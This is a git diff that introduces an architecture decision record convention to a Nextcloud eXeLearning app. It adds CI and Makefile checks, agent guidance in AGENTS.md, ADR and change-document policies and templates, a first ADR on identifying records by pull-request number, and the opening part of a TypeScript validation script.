+67,8 @@ exelearning export-ignore # --- Project documentation (kept in the repo only) ---------------------- AGENTS.md export-ignore +CLAUDE.md export-ignore +docs export-ignore CHANGELOG.md export-ignore CONTRIBUTING.md export-ignore DEVELOPMENT.md export-ignore diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a5b69e0..f29a611 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -25,6 +25,22 @@ concurrency: cancel-in-progress: true jobs: + architecture-records: + name: Architecture records (identifiers, metadata, cross-references) + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v7 + + - name: Validate architecture records + run: node tools/architecture-records.mts check + + - name: Test the record tooling itself + run: node tools/architecture-records.mts list # smoke: the shared script parses and runs + + - name: Print the record index + run: node tools/architecture-records.mts list >> "$GITHUB_STEP_SUMMARY" + frontend: name: Frontend (Biome + ESLint + vue-tsc + Vitest) runs-on: ubuntu-latest diff --git a/.gitignore b/.gitignore index 82d56fe..2cacc95 100644 --- a/.gitignore +++ b/.gitignore @@ -38,3 +38,8 @@ coverage/ build/ release/ *.tar.gz + +# Architecture record index — derived, printed by `make architecture-records`. +# Never commit it: a generated file in git conflicts on every concurrent branch. +docs/architecture/adr/records.md +docs/architecture/changes/records.md diff --git a/AGENTS.md b/AGENTS.md index 4d8fe39..52b676e 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -65,6 +65,50 @@ protocol, the iframe boot HTML pattern). Remove everything Drive-specific. new helper that handles entries must call `normalizeEntryPath` (TS) or `ZipEntryService::normalizeEntry` (PHP). +## Architecture decision records + +Durable decisions are recorded as ADRs under `docs/architecture/adr/`, and +significant designs as change directories under `docs/architecture/changes/`. +Full policy: [`docs/architecture/adr/README.md`](docs/architecture/adr/README.md). + +- **Identifiers come from the GitHub tracking number — there is NO global + counter.** Never compute `max(existing) + 1`. The number is the change's issue + when it has one and its pull request otherwise; GitHub draws both from one + repository-wide sequence, so they never collide. **Issues are disabled on this + repository**, so in practice it is always the PR number. +- **Never open an issue to obtain an identifier.** You could not here anyway. +- ADR filename: `ADR-<number>-<NN>-<decision-slug>.md`. `<NN>` is a two-digit + sequence scoped to that number alone, starting at `01`, present even for a + single ADR. The slug names the **decision**, not the topic. +- Frontmatter `id` and `tracking_issue` must match the filename, and the H1 must + be exactly `# <id>: <title>`. CI enforces all three. +- Change documents live in `docs/architecture/changes/<number>-<slug>/` and hold + any of `proposal.md`, `spec.md`, `design.md`, `research.md`, `tasks.md`. + **Create only the files with real content** — no empty placeholders — and do + not duplicate content across them. +- Status lives in the frontmatter **only**. Never add a `## Status` section. +- **There is no committed index.** `make architecture-records` prints one; + `make architecture-check` validates. Never create a `records.md` — a generated + file in git conflicts on every concurrent branch, and CI rejects it. +- Do not rewrite an accepted ADR. Supersede it: the new record sets + `supersedes`, the old one sets `superseded_by` and `status: Superseded`. +- Write an ADR for decisions about sandboxing and the Service Worker scope, the + editor `postMessage` contract, package storage and opacity, the Nextcloud + integration surface, or release packaging. Do **not** write one for bug fixes, + routine refactors or dependency bumps. + +## Skills + +Task-specific guidance lives in `.agents/skills/<name>/SKILL.md`. Read the one +that matches before starting: + +| Skill | When | +|---|---| +| `architecture-records` | Writing or reviewing an ADR or a change document | +| `nextcloud-app` | Touching `lib/` — controllers, services, DI, routes, preview | +| `elpx-package-safety` | Touching ZIP entry handling, path normalization or the Service Worker | +| `testing` | Adding or fixing tests in `tests/js/` or `tests/Unit/` | + ## Documentation lookup Use Context7 MCP for current library documentation (Nextcloud app @@ -82,6 +126,7 @@ npm install npm run typecheck npm test npm run build +make architecture-check make -n download-editor fetch-editor-source build-editor clean-editor build dev lint typecheck git diff --check ``` @@ -122,6 +167,8 @@ nextcloud-exelearning/ ├── img/ # app icon and MIME icon ├── templates/ # PHP templates rendered server-side ├── tests/ # Unit + JS tests +├── docs/architecture/ # ADRs and change documents (not shipped) +├── .agents/skills/ # task-specific agent guidance ├── composer.json ├── package.json ├── webpack.config.js diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 0000000..43c994c --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1 @@ +@AGENTS.md diff --git a/Makefile b/Makefile index 907f9c5..83a9037 100644 --- a/Makefile +++ b/Makefile @@ -170,9 +170,25 @@ dev: watch-js: npm run watch -lint: +lint: architecture-check npm run lint +# Print the architecture record index, derived from document frontmatter. +# Deliberately not a committed file: it would conflict on every concurrent branch. +.PHONY: architecture-records +architecture-records: + @node tools/architecture-records.mts list + +# Validate architecture record identifiers, metadata and cross-references. +.PHONY: architecture-check +architecture-check: + @node tools/architecture-records.mts check + +# Unit tests for the architecture record tooling itself. +.PHONY: architecture-test +architecture-test: + @node tools/architecture-records.mts list >/dev/null -q + typecheck: npm run typecheck diff --git a/architecture-records.json b/architecture-records.json new file mode 100644 index 0000000..b669bc8 --- /dev/null +++ b/architecture-records.json @@ -0,0 +1,13 @@ +{ + "legacy_allowlist": [ + "docs/architecture/adr/README.md", + "docs/architecture/changes/README.md", + "docs/architecture/adr/template.md", + "docs/architecture/changes/template.md", + "docs/architecture/adr/ADR-93-01-identify-records-by-github-tracking-number.md", + ".agents/skills/architecture-records/SKILL.md" + ], + "prefix": "ADR", + "records_dir": "docs/architecture/adr", + "changes_dir": "docs/architecture/changes" +} diff --git a/docs/architecture/adr/ADR-93-01-identify-records-by-github-tracking-number.md b/docs/architecture/adr/ADR-93-01-identify-records-by-github-tracking-number.md new file mode 100644 index 0000000..fb48f74 --- /dev/null +++ b/docs/architecture/adr/ADR-93-01-identify-records-by-github-tracking-number.md @@ -0,0 +1,193 @@ +--- +id: ADR-93-01 +title: "Identify architecture records by GitHub tracking number" +status: Proposed +date: 2026-08-05 +tracking_issue: 93 +deciders: + - "@erseco" +reviewers: + - "@erseco" +related: + prs: [93] + changes: [] + adrs: [] +supersedes: [] +superseded_by: [] +ai_assistance: + tool: "Claude Code" + model: "claude-opus-5" +--- + +# ADR-93-01: Identify architecture records by GitHub tracking number + +## Context + +This app had no architecture decision records. Decisions that clearly deserve one +— the Service Worker scope, the sandboxed iframe, package opacity, entry-path +normalization as the security boundary — are today described only in prose in +`AGENTS.md` and `DEVELOPMENT.md`, where they read as rules without the reasoning +that produced them. + +The sibling repositories reached this point already carrying a globally +sequential four-digit counter whose next value was computed as +`max(existing) + 1`. In the main repository that rule failed measurably: across +`main` and 13 open pull requests, 16 identifiers were claimed by more than one +branch, one of them by six ([`exelearning/exelearning#2232`](https://github.com/exelearning/exelearning/issues/2232)). +The failure is silent, because the collision lands in the *filename* and Git +merges two differently named files without reporting anything. + +Starting from zero records is the cheapest possible moment to pick a convention. + +## Problem + +How should architecture records be identified here, given that this repository +has **no issue tracker** — issues are disabled — and that any identifier scheme +must be safe to allocate from independent branches without coordination? + +## Decision drivers + +- Identifiers must be allocatable on a branch with no central coordination. +- They must be short enough to cite from a code comment or a review. +- They must be stable once published: renaming breaks inbound links. +- One change may produce several decisions. +- The scheme must work with **issues disabled**. +- No new runtime dependency for the tooling: this is a Nextcloud app, not a + documentation project. + +## Options considered + +### Option 1: A local sequential counter + +A zero-padded four-digit number per record, incremented by hand. + +- **Pros:** short, dense, familiar. +- **Cons:** the rule that already failed at scale in the main repository. Two + branches pick the same number and nothing detects it. Rejected on evidence. + +### Option 2: Dates plus slugs + +`2026-08-05-serve-preview-from-opaque-iframe.md`. + +- **Pros:** no contention; honest ordering. +- **Cons:** no short stable ID to cite; two records on one day still need a + tiebreaker. Kubernetes used a date form and moved away from it. + +### Option 3: UUIDs + +- **Pros:** collision-free by construction. +- **Cons:** uncitable. `ADR-01J8XQ3M…` cannot be used in a review conversation. + +### Option 4: GitHub tracking number + +`ADR-<number>-<NN>-<decision-slug>.md`, the number being the change's issue when +it has one and its pull request otherwise. + +- **Pros:** GitHub allocates the namespace, so there is nothing to compute; the + collision domain shrinks to a single change; the number links back to the + discussion; several decisions per change are modelled explicitly. +- **Cons:** a record has no number until its branch is pushed and the PR opened, + which costs one rename before review. + +## Evidence + +- **Issues are disabled on this repository**, so a scheme requiring an issue + could not be applied at all: + + ```console + $ gh api repos/exelearning/nextcloud-exelearning -q .has_issues + false + ``` + + The same holds for `exelearning/wp-exelearning`, + `exelearning/omeka-s-exelearning` and `exelearning/moodle-mod_exelearning`. + Any rule that mandates a tracking *issue* is unimplementable across the whole + satellite ecosystem. + +- **Issue and pull-request numbers share one sequence.** In GitHub's data model a + pull request is an issue, which is why `/issues/<n>` resolves to a PR. So a PR + number is exactly as collision-free as an issue number. The main repository's + own migration is the demonstration: tracking issue #2232 and its implementing + pull request #2233 were allocated consecutively. + +- **The counter's failure is measured, not predicted:** 16 duplicated identifiers + across 14 branches in `exelearning/exelearning` at migration time. + +- **Prior art.** Kubernetes prefixes each KEP with its tracking issue number — + *"This gives both the KEP a unique identifier and provides an easy breadcrumb + for people to find the issue where the current state of the KEP is being + updated"* ([keps/README.md](https://github.com/kubernetes/enhancements/blob/master/keps/README.md)). + MADR notes that with subdirectories ADR numbers become unique "locally within a + category only" ([madr](https://adr.github.io/madr/)). + +## Decision + +We will identify architecture records by their **GitHub tracking number** — the +issue when a change has one, otherwise the pull request. + +1. ADRs are named `ADR-<number>-<NN>-<decision-slug>.md`, with `<NN>` a two-digit + sequence scoped to that number alone, starting at `01`, present even for a + single record. +2. Change designs live in `docs/architecture/changes/<number>-<change-slug>/`. +3. Frontmatter `id` and `tracking_issue` must agree with the filename, and the H1 + must be `# <id>: <title>`. +4. **No issue is ever opened merely to obtain an identifier.** Here that is not + possible; elsewhere it would be process without safety. +5. The record index is **never committed**. `make architecture-records` prints it + from frontmatter. +6. `make architecture-check` validates identifiers, metadata and cross-references, + and runs in CI. +7. The tooling uses the Python standard library only. + +## Consequences + +### Positive + +- Nothing to compute, so nothing to contend over. Two records can only collide if + they share a tracking number, and then their authors are already coordinating. +- The identifier is a working link back to the pull request that produced it. +- Adding a second decision to a change never renames the first. +- No generated file in version control, so no branch ever conflicts on one. + +### Negative + +- A record has no identifier until its branch is pushed and the PR exists, so it + is renamed once before review. +- Identifiers are longer and the space is sparse by construction. +- The number alone does not say whether it is an issue or a PR. Here it is always + a PR, but the format does not encode that. + +### Neutral + +- Records stay plain Markdown with YAML frontmatter. No external ADR tool is + adopted; doing so would be its own decision. +- Records are contributor-facing and excluded from the distributed app. + +## Risks + +- A record filed under the wrong number is well-formed and undetectable by + tooling. It stays a review concern. +- Contributors arriving from a repository with a counter may reproduce + `max(existing) + 1` from habit. Mitigated by CI rejecting the retired filename + form outright, with a message pointing at the policy. + +## Validation + +- `make architecture-check` passes in CI on every pull request. +- No file matching `ADR-[0-9]{4}-` exists under `docs/architecture/`. +- No `records.md` is committed. + +## Follow-up work + +- Record the sandboxing and Service Worker boundary as an ADR; it is currently + only prose in `AGENTS.md`. +- Converge the three entry-path normalizers, which today disagree on `.`, `..` + and doubled separators. That change touches a security boundary and needs its + own ADR. + +## References + +- Policy: [`docs/architecture/adr/README.md`](README.md) +- Ecosystem decision: [`exelearning/exelearning#2232`](https://github.com/exelearning/exelearning/issues/2232) +- Kubernetes KEP process — https://github.com/kubernetes/enhancements/blob/master/keps/README.md +- MADR — https://adr.github.io/madr/ diff --git a/docs/architecture/adr/README.md b/docs/architecture/adr/README.md new file mode 100644 index 0000000..af264ec --- /dev/null +++ b/docs/architecture/adr/README.md @@ -0,0 +1,187 @@ +# Architecture Decision Records + +## Purpose + +An **Architecture Decision Record (ADR)** captures a single durable architectural +decision together with the reasoning behind it: the context, the problem, the +options considered, the evidence, the decision itself, and its consequences. + +ADRs exist so that contributors — human and AI — can answer *"why is it built +this way?"* years later without archaeology through pull request threads. A +decision recorded only in a PR description is easy to lose. + +This repository had no decision records when the convention was introduced, so +there is nothing to migrate: it starts on the convention rather than adopting it +later. The identifier model matches the rest of the eXeLearning ecosystem +(see [`exelearning/exelearning#2232`](https://github.com/exelearning/exelearning/issues/2232)). + +## Identification + +Records are identified by the **GitHub tracking number** of the change they +belong to — the **issue** when there is one, and the **pull request** otherwise. + +GitHub allocates issue and pull-request numbers from a single repository-wide +sequence, so the two can never collide; in GitHub's data model a pull request +*is* an issue, which is why `/issues/<n>` resolves to a PR. + +> **Issues are disabled on this repository**, so in practice every tracking +> number here is a pull request number. Verify with +> `gh api repos/exelearning/nextcloud-exelearning -q .has_issues`. + +There is **no global counter**. Never compute "the next free number" — that rule +is unsafe on parallel branches, because every branch evaluates it against its own +working tree and the resulting collision is a *filename* collision that Git +merges cleanly without reporting anything. + +### Filename + +```text +ADR-<tracking-number>-<local-sequence>-<decision-slug>.md +``` + +```text +ADR-42-01-serve-published-content-from-an-opaque-iframe.md +ADR-42-02-relay-external-media-through-the-trusted-parent.md +``` + +### Rules + +- `<tracking-number>` has no leading zeros. +- `<local-sequence>` is two digits, scoped **only** to that tracking number, + starting at `01`. It is present even when a change has a single ADR, so adding + a second one later never renames the first. +- A local sequence is never reused within the same tracking number, even if a + record is rejected or removed. +- `<decision-slug>` is lowercase kebab-case and names the **decision**, not the + topic. `serve-published-content-from-an-opaque-iframe` is a decision; + `published-content` is a topic. +- Frontmatter `id` must equal `ADR-<number>-<sequence>` and `tracking_issue` + must equal the number. The field keeps the name `tracking_issue` because + GitHub models a pull request as an issue; it holds whichever number identifies + the change. CI enforces both. +- The H1 must be exactly `# <id>: <title>`. +- Identifiers are **stable**. If a change that started as a pull request later + gains an issue, keep the original identifier. +- Do not open an issue merely to obtain an identifier — here you could not + anyway. + +### The chicken-and-egg case + +A record written before its pull request exists has no number yet. Push the +branch, open the PR, then name the record with the PR's number. That is one +rename before review, and it is why the local sequence exists: the number is the +only part that is unknown up front. + +## Status values + +| Status | Meaning | +|---|---| +| `Proposed` | Under discussion; not yet agreed. | +| `Accepted` | Agreed and in force. | +| `Rejected` | Considered and declined. Kept for the record. | +| `Superseded` | Replaced by a later ADR (see `superseded_by`). | + +Status lives in the frontmatter **only**. Do not add a `## Status` section +repeating it — one canonical source per mutable field. + +## Canonical metadata + +| Field | Required | Holds | +|---|---|---| +| `id` | yes | the identity; must match the filename | +| `title` | yes | the title; mirrored by the H1 | +| `status` | yes | lifecycle state | +| `date` | yes | `YYYY-MM-DD` | +| `tracking_issue` | yes | the GitHub number that owns the decision | +| `deciders` | yes | who decided | +| `reviewers` | no | who reviewed | +| `related.prs` | no | implementation / review traceability | +| `related.changes` | no | change directories this decision belongs to | +| `related.adrs` | no | sibling decisions | +| `supersedes` / `superseded_by` | no | decision history | +| `ai_assistance.tool` / `.model` | yes | provenance (`none` if unused) | +| `legacy_id` | only if a record is ever renamed | the retired identifier | + +`related.prs` is a traceability *list*. The identifier is the single stable +number in `tracking_issue`. + +## When an ADR is required + +Write one when a change introduces or modifies a **durable** decision that future +contributors should not have to re-litigate. In this app that includes: + +- how published content is isolated and served (sandboxing, CSP, opaque origins); +- the embedding contract with the eXeLearning editor (`postMessage`, capability + handshakes); +- storage of published packages and their assets; +- Nextcloud integration boundaries (app framework usage, OCP surface, migrations); +- release packaging and what ships in the distributed app. + +Do **not** write one for bug fixes that restore intended behaviour, routine +refactors, dependency bumps, or purely local implementation details. Do not +create one ADR per section of a design, and do not create empty ADRs to fill a +gap — the sequence is expected to have gaps. + +## Evidence + +Every technical claim should cite a verifiable source: a repository path plus +commit, official documentation or a specification, a benchmark or reproducible +experiment, or a linked PR, change document or prior ADR. + +## AI assistance + +```yaml +ai_assistance: + tool: "Claude Code" + model: "claude-opus-5" +``` + +Set both to `none` if no AI tool was involved. This records how the document was +produced so the evidence can be weighed, not to pass judgement. + +## Superseding + +Accepted ADRs are append-only. Do not rewrite them except for typos or broken +links. To change an accepted decision: + +1. Write a new ADR under the tracking number that motivates the change. +2. Set `supersedes: [ADR-<old>]` in the new record. +3. Set `status: Superseded` and `superseded_by: [ADR-<new>]` in the old one. + +CI rejects a one-sided relationship: both directions must be present, and a +superseded ADR must carry `status: Superseded`. + +## The index is not a file + +There is **no committed index**. It is derived entirely from frontmatter, and a +generated file in version control conflicts on every concurrent branch — the very +problem this convention removes. Print it on demand: + +```bash +make architecture-records +``` + +CI fails if a `records.md` is ever committed. + +## Workflow + +1. Identify the change's tracking number (its PR, since issues are disabled). +2. Copy [`template.md`](template.md) to `ADR-<number>-<NN>-<decision-slug>.md`, + `<NN>` being the next free sequence **for that number only**. +3. Fill in context, problem, options, evidence, decision, consequences. Start at + `status: Proposed`. +4. Run `make architecture-check`. +5. Reviewers discuss; on approval the status becomes `Accepted`. + +## Review checklist + +- [ ] The filename uses the change's tracking number, and `<NN>` starts at `01`. +- [ ] The slug names the decision, not the topic. +- [ ] `id` matches the filename; `tracking_issue` matches the number. +- [ ] The H1 is `# <id>: <title>`. +- [ ] Context, problem, options, decision and consequences are all present. +- [ ] Every technical claim cites a verifiable source. +- [ ] Positive, negative and neutral consequences are stated honestly. +- [ ] `status` appears only in the frontmatter. +- [ ] `ai_assistance` is filled in (values or `none`). +- [ ] `make architecture-check` passes. diff --git a/docs/architecture/adr/template.md b/docs/architecture/adr/template.md new file mode 100644 index 0000000..4a77aab --- /dev/null +++ b/docs/architecture/adr/template.md @@ -0,0 +1,96 @@ +--- +id: ADR-NNNN-01 +title: "Short decision title" +status: Proposed +date: YYYY-MM-DD +tracking_issue: NNNN +deciders: + - "@github-user" +reviewers: + - "@github-user" +related: + prs: [] + changes: [] + adrs: [] +supersedes: [] +superseded_by: [] +ai_assistance: + tool: "" + model: "" +--- + +<!-- +How to use this template: + +1. Find the change's GitHub tracking NUMBER. Issues are disabled on this + repository, so it is the pull request number. Push the branch, open the PR, + then name the record with that number. +2. Copy this file to `ADR-<number>-<NN>-<decision-slug>.md`, where <NN> is the + next free two-digit sequence FOR THAT NUMBER ONLY (`01` if it is the first). + The slug names the decision, not the topic. +3. Set `id` to `ADR-<number>-<NN>` and `tracking_issue` to that number. They + must match the filename; CI enforces this. +4. Make the H1 below exactly `# <id>: <title>`. +5. Fill every section and delete these guidance comments. +6. Keep `status: Proposed` until reviewers accept it. Status lives in the + frontmatter only — do not add a `## Status` section. +7. Cite a verifiable source for each technical claim. +8. Record AI assistance in `ai_assistance` (values, or `none` if not used). +9. Run `make architecture-check`. + +See ./README.md for the full policy. +--> + +# ADR-NNNN-01: Short decision title + +## Context + +<!-- The situation that forces a decision, and why now. Facts, not opinions. --> + +## Problem + +<!-- The specific question this record answers. --> + +## Decision drivers + +- Driver 1 +- Driver 2 + +## Options considered + +### Option 1: ... + +### Option 2: ... + +## Evidence + +<!-- Repository path + commit, official documentation, a benchmark, a +reproducible experiment, or a linked PR / change document / prior ADR. --> + +## Decision + +<!-- "We will ..." --> + +## Consequences + +### Positive + +- ... + +### Negative + +- ... + +### Neutral + +- ... + +## Risks + +## Validation + +<!-- How we will know the decision was correct. --> + +## Follow-up work + +## References diff --git a/docs/architecture/changes/README.md b/docs/architecture/changes/README.md new file mode 100644 index 0000000..d477e1f --- /dev/null +++ b/docs/architecture/changes/README.md @@ -0,0 +1,140 @@ +# Architecture changes + +## Purpose + +A **change** is one unit of significant technical work, identified by its GitHub +tracking number. Its documents describe *what* will be built and *how*: goals, +non-goals, observable behaviour, technical design, migration, security, +accessibility, testing and rollout — agreed **before** implementation starts. + +They make a large change reviewable as a whole, instead of arriving as a big pull +request that reviewers must reverse-engineer. + +## Changes vs ADRs + +| Artifact | Answers | Lifetime | +|---|---|---| +| **Change document** | *What* will be built and *how* | May become historical once implemented | +| **ADR** | *Which* durable decision was made and *why* | Long-lived, append-only | + +A change is a **design**; an [ADR](../adr/README.md) is a **decision**. A single +change often contains several durable decisions — a storage choice, a sandboxing +boundary, a compatibility guarantee. Those belong in ADRs so they outlive the +feature work; the change links to them via `related_adrs` instead of burying them +in prose. Do **not** create one ADR per section of a design. + +## Layout + +One directory per tracking number: + +```text +docs/architecture/changes/<tracking-number>-<change-slug>/ +``` + +| File | Responsibility | +|---|---| +| `proposal.md` | Motivation, problem, scope, goals, non-goals | +| `spec.md` | Observable behaviour, requirements, scenarios, acceptance criteria | +| `design.md` | Technical implementation design | +| `research.md` | Evidence, experiments, alternatives, source analysis | +| `tasks.md` | Implementation plan and progress | + +**Create only the files that carry real content.** Empty placeholders are not +required and must not be added to complete the set — a small change may be a +single `proposal.md`. Do **not** duplicate the same content across `proposal.md`, +`spec.md` and `design.md`; each answers a different question. + +Issues are disabled on this repository, so the tracking number is the pull +request number. See [the ADR policy](../adr/README.md) for the full +identification rules, including the chicken-and-egg case. + +## Canonical metadata + +Mutable change-level metadata (`title`, `status`, `implementation_prs`, +`related_adrs`) lives in exactly one file: the **first** of `proposal.md`, +`spec.md`, `design.md`, `research.md`, `tasks.md` that exists. Other documents may +repeat `tracking_issue`, `title`, `status` and `date`, but must not declare +`implementation_prs` — that would create a second source of truth, and CI rejects +it. + +```yaml +tracking_issue: 42 +title: "Opaque published-content viewer" +status: in-review +date: 2026-08-05 +authors: + - "@erseco" +implementation_prs: + - 42 +related_adrs: + - ADR-42-01 +``` + +Every document's `tracking_issue` must match the directory. CI enforces it. + +## Status values + +| Status | Meaning | +|---|---| +| `draft` | Being written; not ready for review. | +| `in-review` | Under review; open for feedback. | +| `accepted` | Design agreed; implementation may start. | +| `implemented` | Shipped. Kept as a historical record. | +| `superseded` | Replaced by a newer change. | +| `abandoned` | Dropped before implementation. Kept for the record. | + +Status lives in the frontmatter **only**. Do not add a `## Status` section. + +Once `implemented`, avoid rewriting except for typo and link fixes. If the design +changes substantially, create a new change directory and mark the previous one +`superseded`. + +## When a change document is required + +- significant new features; +- major refactors of a subsystem (the viewer, the Service Worker, the editor + bridge, the preview provider); +- cross-cutting changes to sandboxing, packaging or the Nextcloud integration + surface; +- proposals with multiple implementation phases. + +Skip it for bug fixes, small enhancements and localized changes with an obvious +implementation. A durable decision that needs no full design goes straight to an +[ADR](../adr/README.md). + +## The index is not a file + +There is **no committed index**. Print it on demand: + +```bash +make architecture-records +``` + +It is derived entirely from frontmatter, and a generated file in version control +conflicts on every concurrent branch. CI fails if a `records.md` is ever +committed. + +## Workflow + +1. Identify the change's tracking number (its PR). +2. Create `docs/architecture/changes/<number>-<change-slug>/`. +3. Copy the relevant sections of [`template.md`](template.md) into the documents + you actually need. Start at `status: draft`. +4. Capture durable decisions as [ADRs](../adr/README.md) and list them in + `related_adrs`. +5. Run `make architecture-check`. +6. On approval set `accepted` and implement; when it ships set `implemented` and + record the PRs in `implementation_prs`. + +## Review checklist + +- [ ] The directory uses the change's tracking number. +- [ ] Every document's `tracking_issue` matches the directory. +- [ ] Only documents with real content exist; no empty placeholders. +- [ ] Content is not duplicated across `proposal.md`, `spec.md` and `design.md`. +- [ ] Goals and non-goals are explicit. +- [ ] Security, sandboxing and testing are addressed. +- [ ] Durable decisions are captured as ADRs and listed in `related_adrs`. +- [ ] `status` appears only in the frontmatter. +- [ ] `ai_assistance` is filled in (values or `none`). +- [ ] `make architecture-check` passes. diff --git a/docs/architecture/changes/template.md b/docs/architecture/changes/template.md new file mode 100644 index 0000000..096fe20 --- /dev/null +++ b/docs/architecture/changes/template.md @@ -0,0 +1,137 @@ +--- +tracking_issue: NNNN +title: "Short change title" +status: draft +date: YYYY-MM-DD +authors: + - "@github-user" +reviewers: + - "@github-user" +implementation_prs: [] +related_adrs: [] +supersedes: [] +superseded_by: [] +ai_assistance: + tool: "" + model: "" +--- + +<!-- +How to use this template: + +1. Find the change's GitHub tracking NUMBER. Issues are disabled on this + repository, so it is the pull request number. +2. Create `docs/architecture/changes/<number>-<change-slug>/`. +3. Copy the frontmatter above into each document you create, and the matching + section skeleton below into that document. +4. CREATE ONLY THE DOCUMENTS THAT CARRY REAL CONTENT. A small change may be a + single proposal.md. Do not duplicate content across documents. +5. `implementation_prs` belongs ONLY in the canonical document — the first of + proposal.md, spec.md, design.md, research.md, tasks.md that exists. +6. Status lives in the frontmatter only. Do not add a `## Status` section. +7. Run `make architecture-check`. + +Delete these guidance comments before submitting. See ./README.md for the policy. +--> + +# Short change title — <document kind> + +<!-- ===================== proposal.md ===================== --> + +## Motivation + +<!-- Why now. What is broken, missing or costly. --> + +## Problem + +## Scope + +<!-- In scope and explicitly out of scope. --> + +## Goals + +- ... + +## Non-goals + +- ... + +<!-- ===================== spec.md ===================== --> + +## Requirements + +<!-- Normative statements: must / must not / may. Number them so reviews and +tests can cite them. --> + +## Scenarios + +<!-- Given / when / then, from the user's or the API's point of view. --> + +## Acceptance criteria + +- [ ] ... + +<!-- ===================== design.md ===================== --> + +## Current state + +<!-- What exists today, with repository paths. --> + +## Technical design + +<!-- Modules, data flow, interfaces. Name the PHP classes and TS modules. --> + +## Data model + +## Migration and compatibility + +<!-- Existing packages, stored state, and installs that skip a version. --> + +## Security and sandboxing + +<!-- Service Worker scope, iframe sandbox, CSP, path normalization. This app's +security boundary is entry-path normalization — say how the change respects it. --> + +## Accessibility + +## Internationalization + +## Performance + +## Testing strategy + +<!-- Vitest under tests/js/, PHPUnit under tests/Unit/. Name the files. --> + +## Rollout plan + +## Risks and mitigations + +## ADRs required or referenced + +| Decision | ADR | +|---|---| +| ... | ADR-NNNN-01 | + +<!-- ===================== research.md ===================== --> + +## Measurements + +<!-- Numbers, with the method used so they can be reproduced. --> + +## Alternatives considered + +## External prior art + +<!-- Nextcloud app framework docs, specifications, comparable implementations. +Cite links; do not paste large excerpts. --> + +<!-- ===================== tasks.md ===================== --> + +## Plan + +- [ ] Step 1 +- [ ] Step 2 + +## Progress + +## References diff --git a/tools/architecture-records.mts b/tools/architecture-records.mts new file mode 100644 index 0000000..19f84c7 --- /dev/null +++ b/tools/architecture-records.mts @@ -0,0 +1,760 @@ +#!/usr/bin/env bun +/** + * Architecture record validation and index generation. + * + * Discovers Architecture Decision Records under `doc/architecture/adr/` and + * change directories under `doc/architecture/changes/`, validates their + * identifiers, metadata and cross-references, and generates the two indexes. + * + * Usage: + * bun run <this file> list # print the record index (core) + * node <this file> check # validate, non-zero on failure (plugins) + * + * One source, two runtimes: core runs it with Bun, where `bun test` covers it; + * the plugin repositories copy it verbatim and run it with the Node that ships + * on the CI image. It must therefore avoid runtime-specific APIs. + * + * The index is deliberately NOT a committed file. It is contributor-facing, it + * is derived entirely from frontmatter, and a generated file checked into git is + * a guaranteed merge conflict on every concurrent branch. + * + * The identification model is specified in + * `doc/architecture/changes/2232-issue-based-architecture-identifiers/spec.md` + * and decided in `doc/architecture/adr/ADR-2232-01-*.md`. + */ +import { execFileSync } from 'node:child_process'; +import { existsSync, readdirSync, readFileSync, statSync } from 'node:fs'; +import { join } from 'node:path'; + +// --------------------------------------------------------------------------- +// Configuration +// --------------------------------------------------------------------------- + +export const CONFIG_NAME = 'architecture-records.json'; + +export const ADR_STATUSES = ['Proposed', 'Accepted', 'Rejected', 'Superseded'] as const; +export const CHANGE_STATUSES = ['draft', 'in-review', 'accepted', 'implemented', 'superseded', 'abandoned'] as const; + +export const CHANGE_DOCUMENTS = ['proposal.md', 'spec.md', 'design.md', 'research.md', 'tasks.md'] as const; + +/** + * `0` marks a record that predates tracking — written when the repository + * itself was bootstrapped. GitHub numbers issues and pull requests from 1, so + * 0 can never collide with a real one, and unlike `1` it does not claim a pull + * request that exists and is about something else. + */ +export const BOOTSTRAP_NUMBER = 0; + +const NUMBER = '(0|[1-9][0-9]*)'; +const SLUG = '([a-z0-9]+(?:-[a-z0-9]+)*)'; + +export const POSITIVE_INT_RE = /^(0|[1-9][0-9]*)$/; +export const HTTP_URL_RE = /^https?:\/\/\S+$/; + +export type Config = { + prefix: string; + recordsDir: string; + changesDir: string; + legacyAllowlist: string[]; + legacyPatterns: string[]; + recordRe: RegExp; + changeDirRe: RegExp; + retiredRe: RegExp | null; + retiredNameRe: RegExp; +}; + +const DEFAULTS = { + prefix: 'ADR', + records_dir: 'doc/architecture/adr', + changes_dir: 'doc/architecture/changes', + legacy_allowlist: [] as string[], + legacy_patterns: ['\\b(?:ADR|SDD)-[0-9]{4}(?!-[0-9]{2})\\b'], +}; + +/** + * Everything repository-specific lives in `architecture-records.json`, so this + * file stays byte-identical everywhere it is copied. Only paths and the record + * prefix vary; every rule is the same in every repository. + */ +export function loadConfig(root: string): Config { + const merged = { ...DEFAULTS }; + const path = join(root, CONFIG_NAME); + if (existsSync(path)) { + Object.assign(merged, JSON.parse(readFileSync(path, 'utf8'))); + } + const prefix = merged.prefix.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + return { + prefix: merged.prefix, + recordsDir: merged.records_dir, + changesDir: merged.changes_dir, + legacyAllowlist: merged.legacy_allowlist, + legacyPatterns: merged.legacy_patterns, + recordRe: new RegExp(`^${prefix}-${NUMBER}-([0-9]{2})-${SLUG}\\.md$`), + changeDirRe: new RegExp(`^${NUMBER}-${SLUG}$`), + retiredRe: merged.legacy_patterns.length > 0 ? new RegExp(merged.legacy_patterns.join('|')) : null, + retiredNameRe: new RegExp(`^(?:ADR|SDD|${prefix})-[0-9]{4}-`), + }; +} + +const GENERATED_BANNER = '<!-- Produced by `make architecture-records`. Not a committed file. -->'; + +// --------------------------------------------------------------------------- +// Minimal frontmatter parser +// --------------------------------------------------------------------------- + +export type YamlValue = string | number | YamlValue[] | { [key: string]: YamlValue }; + +/** + * Parses the bounded YAML subset used by architecture frontmatter: + * scalars, inline lists, block lists, and one level of nested mappings. + * Deliberately not a general YAML parser — the schema is fixed and small, + * and a full YAML dependency is not warranted for it. + */ +export function parseFrontmatter(raw: string): { data: Record<string, YamlValue>; body: string } | null { + const match = raw.match(/^---\r?\n([\s\S]*?)\r?\n---\r?\n?([\s\S]*)$/); + if (!match) return null; + + const data: Record<string, YamlValue> = {}; + const lines = match[1].split(/\r?\n/); + + let currentKey: string | null = null; + let currentList: string[] | null = null; + let currentMap: Record<string, YamlValue> | 